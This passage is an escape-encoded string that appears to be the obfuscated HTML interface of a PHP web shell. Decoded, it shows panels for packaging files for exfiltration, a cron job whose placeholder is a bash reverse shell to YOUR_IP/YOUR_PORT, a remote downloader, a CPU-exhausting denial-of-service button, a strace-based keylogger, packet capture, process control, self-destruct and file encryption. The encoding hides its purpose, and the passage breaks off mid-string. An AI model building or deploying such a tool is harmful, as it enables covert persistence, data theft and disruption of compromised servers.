45\x3d\42\164\x65\x78\x74\42\x20\x69\144\x3d\x22\155\157\x6e\151\x74\x6f\x72\x2d\x70\x61\164\x68\x22\x20\160\x6c\x61\143\x65\x68\x6f\154\144\145\162\75\42\120\x61\164\x68\x20\x74\x6f\x20\155\x6f\x6e\151\164\157\x72\42\40\163\164\171\x6c\x65\x3d\42\x66\154\145\x78\x3a\61\x3b\x22\76\74\x69\156\160\x75\x74\x20\x74\171\160\145\x3d\x22\156\x75\x6d\142\145\162\42\x20\x69\x64\x3d\42\155\157\156\x69\x74\157\x72\x2d\x64\165\162\141\164\151\157\x6e\42\x20\x76\141\154\x75\x65\75\x22\x33\x30\x22\40\163\x74\171\x6c\x65\75\x22\167\x69\x64\164\150\72\x20\x31\60\60\x70\x78\73\x22\76\74\142\x75\x74\x74\x6f\x6e\40\151\x64\x3d\x22\162\165\x6e\x2d\x6d\x6f\156\x69\164\157\162\55\x62\x74\156\42\76\x53\164\x61\162\164\x20\115\x6f\x6e\x69\164\157\x72\151\156\x67\x3c\57\x62\165\x74\164\157\x6e\x3e\x3c\57\x64\x69\166\76\74\160\162\145\x20\151\144\75\x22\x6d\157\156\x69\x74\x6f\162\55\x72\x65\x73\165\x6c\164\163\x22\40\143\x6c\x61\x73\163\75\x22\157\x75\164\x70\x75\164\x2d\142\x6f\x78\x22\76\74\57\x70\x72\145\76\x3c\57\144\151\166\76\x3c\x68\x72\76\x3c\x64\x69\x76\x20\143\x6c\x61\x73\163\x3d\x22\x74\x6f\x6f\154\x2d\x73\145\143\164\151\157\x6e\x22\x3e\74\150\63\76\x44\141\x74\x61\x20\105\x78\x66\x69\x6c\164\162\141\x74\x69\157\156\x20\120\x61\143\153\141\x67\145\162\x3c\57\150\x33\76\74\160\x20\163\x74\171\x6c\145\75\x22\143\x6f\154\157\162\x3a\x20\x76\141\162\50\55\x2d\164\145\x78\164\x2d\x6d\145\144\51\x3b\x22\76\x53\145\x6c\x65\x63\x74\x20\x6d\165\154\x74\151\x70\x6c\x65\x20\x66\151\x6c\145\163\x2f\x64\x69\162\x65\x63\164\x6f\162\151\145\163\40\x62\145\x6c\157\x77\54\40\141\156\144\x20\164\x68\151\x73\x20\x74\x6f\x6f\154\40\167\151\x6c\154\40\x63\x72\145\x61\164\145\40\x61\x20\x73\151\x6e\147\x6c\x65\40\x64\x6f\167\x6e\154\x6f\x61\144\141\142\154\x65\40\132\x49\120\40\141\162\x63\150\x69\x76\145\56\74\57\x70\76\74\144\151\x76\x20\x69\x64\x3d\42\145\170\146\x69\154\x2d\144\x69\x72\x2d\x74\x72\x65\x65\42\40\163\164\171\154\145\75\x22\150\145\x69\x67\x68\164\x3a\x20\x33\60\60\x70\170\x3b\x20\x6f\x76\145\x72\146\154\x6f\167\x2d\171\x3a\141\x75\x74\157\73\40\142\x6f\162\x64\145\162\72\40\x31\x70\x78\x20\x73\x6f\154\151\144\40\x76\x61\x72\x28\55\x2d\x62\157\162\144\x65\x72\x2d\143\x6f\154\157\162\x29\73\x20\x70\x61\x64\144\x69\x6e\147\72\x20\61\x72\145\155\x3b\40\142\x6f\162\x64\x65\x72\55\x72\x61\144\151\165\x73\x3a\x20\x36\160\x78\x3b\x20\x6d\141\x72\147\x69\156\55\x62\x6f\x74\x74\157\155\72\x20\x31\x72\145\x6d\73\x22\76\114\157\x61\x64\x69\156\147\x20\x64\151\162\x65\143\x74\x6f\162\x79\40\x74\162\145\x65\x2e\56\56\74\x2f\144\151\x76\76\x3c\142\165\x74\164\x6f\156\x20\x69\144\x3d\42\x72\x75\x6e\x2d\x65\170\146\151\154\x2d\142\x74\156\42\76\x50\141\x63\x6b\x61\147\145\40\x26\x20\x44\157\167\156\x6c\157\141\144\40\x53\x65\154\x65\x63\164\145\x64\x3c\57\x62\165\164\x74\x6f\156\x3e\x3c\x64\x69\x76\x20\x69\x64\x3d\x22\x65\x78\x66\x69\x6c\x2d\x72\x65\x73\165\154\164\x73\42\x3e\74\57\x64\x69\x76\76\74\x2f\x64\x69\x76\76\x3c\x2f\144\x69\166\x3e\x3c\57\x64\x69\166\x3e\xa\40\x9\11\74\x64\x69\x76\x20\151\x64\x3d\42\166\x69\x65\167\x2d\x63\162\157\156\x22\40\x63\154\141\x73\163\75\42\166\151\145\x77\x2d\143\x6f\156\x74\141\x69\156\x65\162\42\76\74\x64\x69\x76\40\x63\x6c\x61\x73\163\75\42\x63\x6f\x6e\164\145\x6e\x74\x2d\150\145\141\x64\x65\x72\x22\76\103\x72\x6f\156\152\x6f\x62\40\115\x61\156\x61\x67\145\162\x3c\x2f\x64\151\166\76\74\144\x69\166\x20\x63\154\x61\163\163\75\42\143\157\156\x74\x65\x6e\x74\x2d\x61\162\x65\x61\x22\40\x73\164\x79\x6c\x65\75\42\144\x69\x73\160\x6c\141\171\72\40\x66\x6c\x65\x78\x3b\x20\146\154\145\x78\x2d\x64\151\x72\x65\143\x74\151\157\156\x3a\40\x63\157\x6c\165\x6d\156\73\42\x3e\x3c\160\x20\163\x74\171\x6c\145\75\42\143\x6f\154\x6f\162\x3a\40\166\141\x72\50\55\x2d\x74\x65\x78\x74\x2d\x6d\145\144\x29\73\x20\x6d\x61\x72\147\151\156\55\x74\x6f\x70\x3a\x30\x3b\42\76\126\x69\145\x77\40\x61\156\x64\x20\x65\x64\151\x74\x20\164\x68\x65\x20\143\162\x6f\x6e\x74\141\x62\40\x66\157\162\40\164\x68\x65\40\x63\165\x72\x72\145\x6e\164\x20\x75\x73\x65\x72\40\50\74\163\x74\162\x6f\156\147\40\151\x64\x3d\x22\x63\162\x6f\156\55\x75\x73\145\x72\x22\x3e\x3c\x2f\163\164\162\x6f\156\x67\76\x29\56\74\x2f\160\76\x3c\164\145\x78\x74\141\x72\145\x61\40\x69\144\75\x22\x63\162\x6f\x6e\55\143\x6f\x6e\164\145\x6e\164\42\40\163\164\x79\x6c\145\75\x22\146\154\145\170\x3a\x31\73\x20\167\151\x64\164\150\72\61\x30\x30\x25\x3b\x20\162\x65\163\151\x7a\x65\72\166\145\x72\x74\x69\x63\141\x6c\x3b\42\x20\x70\154\141\143\145\150\x6f\x6c\144\x65\162\75\42\x2a\x20\x2a\x20\x2a\40\x2a\x20\x2a\x20\x2f\142\x69\156\x2f\x62\x61\163\150\x20\55\x63\x20\x27\x62\141\x73\150\x20\55\x69\40\76\46\40\57\x64\145\x76\57\x74\143\160\x2f\131\x4f\x55\122\x5f\111\120\x2f\131\117\x55\122\x5f\120\117\x52\124\40\60\76\46\x31\x27\x22\x3e\74\x2f\x74\145\x78\164\141\x72\x65\x61\x3e\x3c\x62\165\x74\x74\157\156\x20\151\x64\75\x22\163\x61\x76\145\55\x63\x72\157\x6e\55\142\164\x6e\x22\40\163\164\171\154\x65\x3d\42\x6d\x61\x72\147\x69\x6e\55\164\157\160\72\61\x72\145\155\x3b\40\141\154\x69\x67\156\x2d\x73\145\154\x66\x3a\x20\x66\x6c\x65\x78\55\163\164\141\x72\x74\x3b\42\x3e\123\x61\166\145\x20\x43\x72\157\x6e\164\x61\x62\x3c\57\x62\165\x74\x74\x6f\x6e\x3e\74\x2f\x64\151\x76\x3e\x3c\57\x64\x69\x76\76\xa\40\11\x9\74\144\151\x76\40\151\x64\x3d\42\x76\x69\x65\167\55\x74\157\x6f\x6c\163\x22\x20\x63\x6c\141\x73\163\75\x22\x76\x69\145\167\x2d\x63\x6f\x6e\164\141\x69\x6e\x65\162\42\x3e\74\144\151\166\x20\143\154\x61\x73\163\x3d\x22\x63\157\x6e\164\x65\156\164\55\150\x65\141\x64\x65\x72\x22\x3e\x4d\x69\x73\143\40\x54\157\157\154\x73\74\x2f\x64\151\x76\x3e\74\x64\x69\166\40\x63\x6c\x61\163\163\75\42\143\x6f\156\164\x65\x6e\164\55\141\162\145\141\42\76\x3c\x64\151\166\x20\x63\x6c\141\x73\x73\x3d\42\x74\157\157\x6c\x2d\163\x65\x63\164\151\157\x6e\42\76\74\x68\x33\76\127\x67\145\164\x20\x28\x44\x6f\167\156\154\157\x61\144\x65\x72\51\x3c\57\x68\x33\76\x3c\144\151\166\x3e\x3c\151\156\x70\x75\164\x20\x74\171\x70\x65\x3d\42\164\x65\170\164\x22\x20\151\144\x3d\x22\167\147\145\164\x2d\165\x72\154\42\40\x70\x6c\141\143\x65\150\x6f\x6c\x64\145\162\x3d\x22\x68\164\x74\x70\163\x3a\x2f\57\x65\170\141\155\x70\154\145\56\143\x6f\155\x2f\146\x69\x6c\145\56\164\x78\x74\42\x20\163\x74\171\x6c\x65\75\42\x66\154\x65\170\72\61\x3b\x20\x6d\x61\x72\x67\x69\156\55\x72\151\147\150\164\72\61\162\145\x6d\x3b\x22\76\74\142\x75\x74\164\x6f\156\x20\151\144\75\42\x77\147\x65\164\55\142\x74\156\x22\x3e\106\x65\x74\143\150\74\57\142\x75\164\164\157\x6e\76\74\x2f\144\151\166\x3e\x3c\x2f\144\151\x76\x3e\x3c\x68\x72\76\74\x64\151\166\x20\x63\154\141\x73\x73\75\42\164\157\157\x6c\55\163\x65\143\x74\151\157\x6e\42\x3e\74\x68\63\x3e\104\x65\156\x69\141\154\x20\157\x66\x20\x53\145\162\166\x69\x63\x65\163\74\x2f\x68\63\x3e\74\x70\x20\x73\164\171\154\145\x3d\42\143\x6f\x6c\157\x72\72\x20\166\x61\162\50\x2d\x2d\164\145\x78\164\55\155\145\144\x29\x3b\42\x3e\122\165\156\x20\141\x6e\x20\151\x6e\164\145\156\163\x69\x76\145\40\x70\162\x6f\x63\x65\163\x73\40\x74\157\x20\143\157\x6e\x73\165\155\145\x20\103\x50\125\40\162\145\163\x6f\x75\162\x63\145\163\x20\146\x6f\162\40\x61\x20\163\160\145\x63\151\x66\x69\143\x20\144\165\x72\x61\x74\x69\157\x6e\56\x20\124\150\151\163\40\x63\141\x6e\40\x62\145\x20\x75\163\x65\144\40\164\157\x20\x74\145\x73\x74\40\x73\x65\162\166\145\x72\x20\163\x74\141\142\x69\x6c\151\164\171\40\x6f\x72\x20\143\162\x65\x61\164\145\40\141\40\x64\145\156\x69\141\154\40\157\x66\x20\163\x65\x72\166\x69\x63\145\x2e\74\x2f\x70\x3e\x3c\x64\151\166\76\74\151\156\160\x75\164\x20\x74\x79\x70\145\75\x22\156\x75\x6d\142\145\x72\x22\x20\x69\144\x3d\42\x68\157\x67\x2d\144\165\x72\141\x74\x69\x6f\x6e\42\x20\x76\141\154\x75\x65\75\x22\63\x30\x22\40\x73\164\x79\x6c\x65\x3d\x22\x77\151\x64\x74\150\72\x31\60\60\x70\x78\73\40\x6d\x61\162\147\151\x6e\55\162\x69\147\150\164\72\61\x72\145\x6d\73\x22\x3e\x3c\142\x75\x74\x74\157\156\x20\x69\144\75\42\x72\x75\156\x2d\x68\157\147\x2d\x62\x74\x6e\x22\x20\x63\x6c\141\x73\x73\75\42\x64\x61\x6e\147\x65\x72\55\142\x74\156\42\x3e\123\x74\x61\x72\164\x20\103\120\x55\40\110\157\147\74\57\142\x75\x74\x74\157\x6e\x3e\x3c\x2f\x64\x69\x76\76\x3c\57\x64\151\166\x3e\74\150\x72\76\74\x64\151\x76\40\143\154\141\163\x73\75\42\164\157\157\154\x2d\163\x65\143\164\x69\157\x6e\42\76\x3c\x68\63\x3e\113\145\171\154\157\x67\147\145\162\x20\50\x45\x78\x70\145\162\151\x6d\145\x6e\164\141\154\51\x3c\57\150\x33\76\x3c\160\40\x73\164\x79\x6c\x65\x3d\42\x63\x6f\x6c\157\x72\72\40\x76\x61\x72\x28\55\55\164\145\x78\x74\x2d\x6d\145\x64\51\73\42\x3e\101\x74\x74\x65\155\x70\x74\40\x74\x6f\40\x61\164\164\x61\x63\x68\40\x74\157\x20\141\x20\162\165\156\x6e\151\156\x67\x20\160\162\157\143\145\x73\x73\x20\50\x6c\x69\x6b\x65\x20\141\x20\163\150\x65\154\154\51\40\x61\x6e\x64\x20\x63\x61\160\164\x75\162\145\x20\x72\145\141\144\x2f\x77\x72\x69\164\x65\40\x73\171\163\143\x61\x6c\154\x73\56\40\x52\145\x71\x75\x69\162\x65\163\x20\x60\x73\x74\x72\x61\143\x65\140\x20\141\x6e\x64\x20\x61\160\x70\x72\x6f\160\162\151\x61\164\x65\x20\x70\145\162\x6d\x69\163\163\x69\x6f\x6e\163\56\x3c\57\x70\76\74\x64\151\166\76\x3c\151\156\160\x75\x74\40\x74\x79\160\x65\75\42\x74\145\x78\164\42\x20\151\x64\x3d\x22\153\x65\171\x6c\157\x67\147\x65\x72\55\x70\x69\x64\x22\x20\160\x6c\x61\x63\145\150\x6f\x6c\x64\x65\162\x3d\x22\x50\162\157\x63\x65\x73\163\x20\111\x44\x20\50\x50\x49\x44\x29\x22\40\163\x74\171\x6c\x65\75\42\x77\x69\144\164\150\x3a\61\x35\60\160\170\x3b\40\x6d\x61\162\147\151\x6e\x2d\x72\x69\147\x68\x74\72\61\162\x65\x6d\73\x22\76\x3c\142\x75\x74\x74\157\x6e\x20\x69\x64\x3d\x22\x72\x75\156\55\153\145\x79\154\157\x67\x67\145\x72\55\142\x74\x6e\42\76\x41\x74\x74\141\143\150\x20\164\x6f\x20\x50\x72\x6f\x63\x65\163\x73\74\x2f\142\165\164\x74\x6f\156\76\74\x2f\144\x69\x76\x3e\74\160\x72\145\x20\x69\x64\75\x22\x6b\x65\171\x6c\x6f\147\x67\145\162\55\157\165\x74\160\x75\164\x22\x20\x63\x6c\x61\x73\163\x3d\x22\157\165\164\x70\165\x74\x2d\142\157\x78\42\x3e\74\57\x70\x72\145\x3e\x3c\57\x64\151\166\76\x3c\150\162\76\74\144\151\166\x3e\74\150\63\76\x53\171\163\x74\x65\155\x3c\57\x68\x33\x3e\74\141\x20\150\x72\145\x66\x3d\42\x3f\x70\150\160\151\156\x66\157\75\61\42\x20\x74\x61\x72\147\145\164\x3d\x22\137\x62\x6c\141\156\153\42\x3e\x3c\x62\165\x74\164\x6f\x6e\x3e\120\x48\x50\x20\111\x6e\146\x6f\x3c\57\142\165\164\164\x6f\x6e\x3e\74\57\x61\x3e\x3c\x62\x75\x74\x74\157\156\40\151\x64\75\x22\163\x65\154\146\x2d\x64\145\x73\164\x72\x75\x63\x74\x2d\142\x74\x6e\x22\40\143\154\141\x73\x73\x3d\x22\x64\x61\x6e\147\x65\x72\55\x62\164\156\x22\x20\163\x74\171\154\x65\75\x22\x6d\141\x72\147\x69\156\x2d\154\x65\146\164\x3a\40\x31\x30\160\x78\73\42\x3e\x53\145\154\x66\x20\104\145\163\x74\162\x75\143\164\x3c\57\142\165\164\164\x6f\x6e\76\74\x2f\144\x69\166\x3e\74\57\144\151\x76\76\74\57\x64\151\166\76\12\11\x9\x3c\144\151\166\x20\x69\144\75\42\166\x69\x65\167\x2d\x66\x69\x6c\145\55\167\141\x74\143\150\x65\x72\x22\x20\x63\x6c\141\x73\x73\x3d\x22\166\x69\x65\x77\x2d\x63\157\x6e\164\x61\x69\156\x65\162\x22\x3e\74\144\151\166\40\x63\x6c\141\163\163\75\42\143\x6f\x6e\x74\x65\x6e\164\55\150\x65\141\144\145\162\x22\76\122\x65\x61\x6c\x2d\x74\151\x6d\145\x20\106\151\x6c\145\x20\x57\x61\x74\x63\150\x65\162\x3c\x2f\x64\x69\x76\76\x3c\144\x69\166\40\143\154\141\x73\163\x3d\x22\143\157\156\x74\x65\x6e\164\55\x61\162\145\x61\x22\x3e\74\x64\x69\x76\40\x63\x6c\x61\x73\x73\x3d\x22\x74\x6f\x6f\x6c\x2d\163\145\143\164\x69\x6f\156\x22\x3e\74\x68\x33\x3e\115\157\x6e\151\164\157\x72\x20\106\x69\154\145\40\x43\150\x61\x6e\x67\145\163\x3c\57\x68\x33\x3e\74\160\x20\163\164\x79\154\x65\75\42\143\157\154\x6f\x72\72\40\166\x61\x72\x28\55\55\164\145\170\164\x2d\x6d\x65\x64\51\x3b\42\76\x57\x61\x74\143\x68\40\141\x20\144\151\162\x65\143\164\157\x72\171\x20\146\x6f\162\40\x66\x69\x6c\x65\x20\143\x68\141\x6e\147\145\163\40\x69\156\40\162\145\141\x6c\55\164\x69\155\145\x2e\40\x44\145\x74\145\143\164\163\x20\x63\162\145\x61\164\x65\x64\54\x20\x64\x65\154\x65\x74\x65\x64\54\40\141\156\144\40\x6d\157\x64\x69\x66\151\145\x64\40\x66\x69\x6c\145\x73\x2e\x3c\x2f\160\76\74\x64\151\166\x20\163\164\171\154\x65\75\x22\144\151\x73\x70\154\141\x79\72\146\154\145\170\73\40\x67\x61\x70\x3a\40\x31\162\x65\x6d\x3b\x20\x61\x6c\151\147\156\x2d\151\164\x65\x6d\163\72\x63\x65\156\164\x65\162\x3b\40\x6d\141\x72\x67\x69\x6e\x2d\x62\x6f\x74\x74\157\155\72\61\x72\145\155\x3b\x22\76\x3c\x69\156\x70\x75\x74\x20\164\171\160\145\75\x22\164\145\170\x74\x22\x20\x69\x64\x3d\42\167\141\x74\x63\150\145\162\55\x70\x61\164\150\42\40\x70\154\x61\143\145\150\157\154\x64\145\x72\x3d\x22\x50\x61\164\150\x20\x74\157\x20\155\x6f\x6e\x69\164\157\162\x20\50\145\56\x67\x2e\x2c\40\57\x76\x61\162\57\167\167\x77\51\42\x20\163\164\x79\x6c\x65\x3d\x22\146\x6c\x65\x78\x3a\61\73\42\76\x3c\x69\x6e\x70\165\x74\40\x74\171\160\x65\x3d\x22\x6e\165\155\x62\145\x72\x22\x20\151\144\75\x22\167\141\x74\x63\150\145\x72\x2d\151\x6e\x74\145\x72\x76\141\x6c\x22\40\166\x61\154\x75\145\x3d\x22\x32\x22\40\x6d\151\156\x3d\42\61\42\40\x6d\x61\x78\75\42\66\60\x22\40\163\x74\x79\154\145\75\x22\167\151\144\164\x68\x3a\61\x30\60\x70\x78\x3b\42\40\x74\151\164\x6c\145\75\x22\103\150\x65\143\x6b\x20\x69\x6e\164\145\162\x76\x61\154\x20\151\156\x20\163\145\x63\157\156\x64\163\x22\76\x3c\x62\165\164\x74\x6f\156\x20\x69\x64\x3d\x22\163\164\x61\x72\164\x2d\x77\141\164\143\x68\x65\x72\x2d\142\164\x6e\42\x3e\x53\164\x61\x72\164\x20\x57\x61\164\x63\150\x69\x6e\x67\x3c\57\x62\x75\164\164\157\156\76\x3c\x62\x75\164\164\x6f\156\x20\x69\x64\75\x22\x73\x74\x6f\160\55\167\141\164\x63\150\145\162\55\142\x74\x6e\42\40\163\164\x79\154\145\75\x22\144\x69\x73\160\x6c\141\171\x3a\x6e\x6f\x6e\x65\x3b\42\x3e\x53\x74\x6f\160\40\x57\x61\x74\143\x68\x69\156\147\74\x2f\x62\x75\164\x74\x6f\156\x3e\x3c\57\x64\x69\x76\76\74\144\x69\x76\40\x69\x64\75\x22\x77\141\164\143\150\x65\x72\55\x73\x74\x61\x74\165\x73\x22\x20\163\x74\171\x6c\x65\x3d\x22\x6d\x61\x72\x67\151\x6e\55\x62\157\x74\x74\157\x6d\x3a\x31\162\x65\x6d\x3b\x20\160\141\x64\144\x69\156\x67\72\61\60\160\170\x3b\40\x62\141\143\x6b\147\162\157\x75\156\x64\x3a\x76\141\162\x28\x2d\x2d\142\x67\55\x6c\x69\x67\x68\x74\51\x3b\40\x62\157\x72\144\145\x72\55\162\x61\144\x69\x75\x73\x3a\66\160\x78\x3b\40\x64\x69\163\160\x6c\141\x79\x3a\156\157\x6e\x65\x3b\x22\76\74\57\144\x69\166\76\74\144\151\x76\x20\x69\x64\x3d\42\x77\141\164\x63\150\145\162\55\162\145\163\x75\x6c\x74\x73\x22\x20\x73\x74\171\x6c\x65\75\x22\155\x61\x78\55\x68\x65\x69\147\x68\x74\x3a\64\x30\60\160\170\73\40\x6f\166\145\162\146\154\x6f\167\55\171\x3a\x61\165\164\x6f\x3b\x22\76\x3c\160\162\x65\40\151\x64\x3d\42\167\141\164\143\150\x65\162\55\x6f\x75\164\x70\x75\164\42\x20\143\x6c\x61\163\163\75\x22\157\165\164\160\165\x74\55\142\x6f\170\42\40\163\x74\x79\154\145\75\x22\155\151\156\x2d\x68\x65\151\147\150\164\72\x32\x30\x30\x70\170\73\42\76\x3c\x2f\160\x72\x65\x3e\74\x2f\144\x69\166\x3e\74\x2f\144\x69\166\x3e\x3c\x2f\x64\x69\166\x3e\74\57\144\x69\x76\76\12\x9\11\x3c\x64\x69\166\x20\151\x64\x3d\x22\x76\151\x65\x77\55\x70\162\157\x63\x65\163\x73\55\155\x61\156\141\147\x65\x72\42\40\x63\154\x61\163\x73\x3d\42\166\151\145\167\x2d\143\x6f\156\x74\x61\x69\x6e\145\162\x22\x3e\x3c\144\x69\x76\40\x63\x6c\x61\163\x73\75\x22\143\x6f\156\164\145\x6e\x74\55\150\x65\141\x64\x65\x72\x22\76\x50\x72\x6f\143\x65\163\163\x20\115\x61\x6e\x61\x67\145\162\74\x2f\x64\x69\166\x3e\74\144\x69\x76\40\143\x6c\x61\163\163\75\42\x63\x6f\156\164\145\x6e\164\55\141\x72\145\141\42\x3e\x3c\x64\x69\166\40\143\x6c\x61\163\x73\75\x22\x74\x6f\x6f\154\55\x73\145\x63\x74\151\157\x6e\x22\76\74\x68\63\76\x52\165\156\156\x69\156\x67\40\x50\162\157\143\x65\163\x73\x65\163\x3c\x2f\150\x33\76\74\160\x20\x73\x74\x79\x6c\145\75\42\143\157\154\157\162\72\40\x76\141\162\x28\55\x2d\x74\x65\x78\x74\x2d\155\x65\x64\51\73\42\76\x56\151\145\x77\40\x61\156\144\x20\155\141\156\141\147\145\x20\162\x75\x6e\x6e\151\156\x67\40\160\162\x6f\143\x65\163\163\145\163\40\157\156\x20\164\x68\x65\x20\x73\x79\163\164\x65\x6d\x2e\74\57\160\76\x3c\x64\x69\x76\40\163\164\x79\154\x65\x3d\42\144\x69\163\160\154\x61\171\72\x66\x6c\145\170\73\40\x67\x61\160\x3a\61\162\x65\155\x3b\x20\155\141\x72\x67\x69\156\55\142\x6f\164\x74\x6f\x6d\72\61\x72\145\x6d\73\42\x3e\74\142\165\164\164\157\156\40\x69\x64\75\42\162\x65\146\x72\x65\163\150\x2d\160\162\x6f\143\145\163\163\x65\x73\55\142\164\156\42\x3e\xf0\237\224\204\40\122\145\146\162\145\x73\150\x3c\57\x62\165\164\164\x6f\156\76\x3c\142\165\x74\x74\x6f\156\x20\x69\144\x3d\x22\x61\165\x74\157\55\x72\x65\146\162\145\x73\150\x2d\160\162\x6f\143\145\163\x73\145\x73\x2d\x62\x74\x6e\42\76\342\x8f\xb1\xef\270\217\x20\x41\x75\x74\157\x20\122\x65\146\162\145\163\150\40\x28\x35\163\x29\74\57\x62\165\x74\164\157\156\x3e\x3c\x2f\144\x69\x76\76\74\x64\x69\x76\40\163\x74\171\154\145\x3d\42\x6f\x76\145\162\146\154\x6f\167\55\x78\x3a\141\165\164\157\73\x22\76\x3c\x74\141\x62\x6c\145\x20\x63\x6c\141\x73\x73\x3d\42\162\x65\x73\x75\x6c\164\163\55\x74\141\142\154\x65\42\x20\151\144\75\42\x70\162\157\143\x65\163\x73\145\163\55\164\x61\x62\154\x65\42\x3e\74\x74\x68\x65\141\x64\76\x3c\164\162\x3e\74\164\150\x3e\x50\x49\104\74\57\x74\x68\x3e\74\164\150\x3e\125\163\145\162\x3c\57\164\x68\x3e\74\x74\150\76\103\x50\125\40\x25\x3c\57\x74\x68\x3e\x3c\x74\150\76\115\x65\155\x6f\x72\171\40\x25\x3c\x2f\x74\150\76\74\164\x68\x3e\x43\157\x6d\155\x61\x6e\144\74\57\164\x68\76\x3c\x74\x68\76\101\x63\164\x69\157\x6e\163\x3c\x2f\164\x68\76\74\57\x74\162\76\x3c\57\164\150\x65\x61\x64\x3e\74\x74\x62\157\144\171\40\x69\x64\75\42\160\162\x6f\x63\145\x73\x73\x65\x73\55\x6c\151\x73\164\42\76\74\57\164\x62\x6f\144\x79\x3e\74\57\164\x61\x62\154\x65\76\x3c\57\x64\x69\166\x3e\x3c\x2f\x64\x69\x76\x3e\74\57\144\x69\166\76\x3c\x2f\144\151\166\x3e\xa\11\11\74\144\x69\166\x20\x69\x64\x3d\42\166\x69\145\167\x2d\x70\x61\143\x6b\x65\164\x2d\143\141\x70\x74\165\162\145\42\x20\143\154\x61\163\163\x3d\42\x76\151\145\167\x2d\143\x6f\156\x74\141\151\156\145\162\x22\x3e\74\x64\x69\166\40\143\154\141\x73\x73\x3d\x22\143\157\x6e\164\145\x6e\164\55\150\145\141\144\145\x72\x22\76\x4e\x65\x74\167\157\x72\153\40\120\141\143\x6b\145\164\x20\x43\x61\160\x74\x75\x72\145\74\57\144\151\x76\76\x3c\144\x69\166\x20\143\154\141\x73\163\x3d\x22\143\157\x6e\x74\145\156\x74\55\x61\x72\x65\x61\x22\x3e\x3c\144\151\166\40\143\x6c\x61\x73\x73\75\x22\x74\x6f\157\154\55\163\145\x63\164\x69\x6f\x6e\x22\76\x3c\x68\x33\x3e\103\141\160\x74\165\x72\145\40\116\x65\x74\x77\x6f\162\153\40\x54\162\141\x66\146\x69\143\x3c\57\150\63\76\74\160\x20\163\x74\171\154\145\75\42\143\157\x6c\x6f\x72\x3a\40\166\x61\162\50\55\55\164\145\x78\164\55\155\x65\144\x29\x3b\42\x3e\103\141\160\x74\x75\x72\145\40\x6e\x65\x74\x77\157\x72\153\40\x70\x61\x63\153\x65\164\163\x20\x75\x73\x69\156\x67\40\164\143\x70\144\x75\x6d\160\x20\x28\x4c\151\156\165\170\x20\x6f\x6e\x6c\x79\x29\56\x20\122\x65\161\165\x69\162\x65\x73\40\164\143\160\144\x75\x6d\x70\40\141\156\x64\40\141\x70\x70\x72\157\160\x72\x69\141\x74\x65\40\x70\145\x72\155\151\x73\x73\x69\157\x6e\163\x2e\74\57\x70\76\74\x64\151\166\40\x73\x74\x79\154\x65\75\42\x64\151\x73\x70\x6c\141\171\x3a\x67\162\151\144\x3b\40\x67\x72\x69\144\55\164\x65\x6d\160\154\141\164\x65\55\143\x6f\154\165\155\156\x73\72\40\x72\145\x70\145\141\x74\50\141\165\164\x6f\x2d\146\151\x74\x2c\x20\x6d\x69\x6e\x6d\x61\170\50\62\x30\x30\x70\x78\x2c\40\61\146\162\51\51\x3b\x20\147\141\x70\72\x31\162\x65\x6d\73\x20\x6d\141\162\x67\x69\x6e\x2d\142\x6f\x74\164\157\155\72\61\x72\x65\x6d\x3b\42\x3e\x3c\x69\156\x70\x75\164\40\164\x79\160\145\75\42\x74\145\170\x74\42\40\x69\144\x3d\x22\143\141\160\x74\x75\162\x65\55\151\156\x74\145\x72\x66\x61\x63\145\x22\x20\x70\x6c\x61\x63\x65\x68\x6f\154\x64\x65\162\x3d\x22\x49\156\x74\x65\162\x66\141\143\145\40\50\x65\56\x67\x2e\x2c\40\145\x74\x68\x30\x2c\40\x61\156\171\x29\x22\40\166\141\154\165\x65\x3d\x22\141\156\x79\x22\76\74\x69\x6e\x70\165\164\40\x74\x79\160\x65\x3d\x22\x6e\x75\155\x62\145\162\42\x20\151\x64\x3d\42\x63\x61\160\x74\x75\x72\145\55\143\x6f\x75\156\x74\42\40\160\x6c\141\x63\x65\x68\x6f\x6c\x64\x65\162\75\x22\120\x61\x63\x6b\145\164\40\143\x6f\165\156\164\42\x20\166\141\x6c\165\x65\x3d\x22\x35\x30\x22\40\155\x69\156\x3d\42\x31\x22\x20\x6d\141\x78\75\42\61\x30\x30\60\42\76\74\151\x6e\160\165\x74\x20\x74\171\x70\x65\75\42\x74\x65\170\x74\42\40\x69\144\75\x22\x63\x61\x70\164\165\162\145\x2d\x66\x69\x6c\x74\x65\162\42\40\160\154\x61\143\x65\x68\157\x6c\144\145\162\75\42\102\120\106\40\x66\x69\154\164\145\162\x20\50\x6f\x70\x74\151\157\x6e\141\154\x29\42\76\74\x2f\144\151\x76\x3e\74\142\165\164\164\x6f\156\x20\x69\144\75\x22\x73\x74\x61\x72\x74\x2d\143\141\160\164\x75\x72\x65\x2d\x62\164\156\x22\76\123\x74\141\162\164\x20\103\x61\160\x74\165\162\x65\74\x2f\x62\x75\x74\x74\157\x6e\76\x3c\x70\162\145\40\x69\144\75\42\x63\x61\x70\164\165\x72\145\55\x6f\165\164\160\x75\x74\42\x20\143\154\x61\163\163\x3d\x22\x6f\x75\164\x70\x75\164\55\142\157\170\42\40\163\164\171\154\x65\75\42\x6d\x61\162\147\151\x6e\55\x74\x6f\x70\x3a\x31\x72\x65\x6d\x3b\40\x6d\x69\x6e\55\x68\145\151\x67\x68\164\x3a\x32\x30\60\160\170\x3b\x22\76\x3c\x2f\x70\162\x65\x3e\74\x2f\x64\151\x76\76\x3c\57\x64\x69\x76\x3e\74\57\x64\x69\x76\76\xa\11\x9\x3c\x64\x69\x76\40\151\144\75\x22\x76\x69\145\x77\55\x63\162\x79\160\x74\x6f\55\x74\157\157\x6c\x73\x22\x20\143\154\141\163\x73\x3d\x22\166\151\145\167\x2d\x63\x6f\156\x74\x61\151\x6e\145\x72\42\x3e\74\x64\151\x76\40\x63\154\141\x73\163\x3d\42\x63\157\156\164\x65\x6e\x74\x2d\x68\x65\141\144\145\162\x22\x3e\103\162\x79\160\x74\157\147\162\x61\x70\150\x79\40\x54\x6f\x6f\154\x73\74\57\144\151\166\76\74\144\x69\166\40\x63\x6c\x61\x73\163\x3d\42\143\157\x6e\x74\x65\156\164\55\141\162\145\x61\42\x3e\74\144\x69\166\40\143\x6c\x61\x73\x73\75\x22\164\141\x62\x73\42\x3e\74\x73\x70\141\156\40\143\154\141\x73\x73\x3d\x22\x74\x61\x62\55\154\151\156\153\40\x61\143\x74\x69\166\x65\x22\x20\144\141\x74\x61\x2d\164\141\x62\x3d\42\x66\151\x6c\145\55\x63\x72\x79\x70\164\157\x22\x3e\106\x69\154\x65\x20\x45\156\x63\162\171\x70\164\x69\157\156\74\x2f\163\160\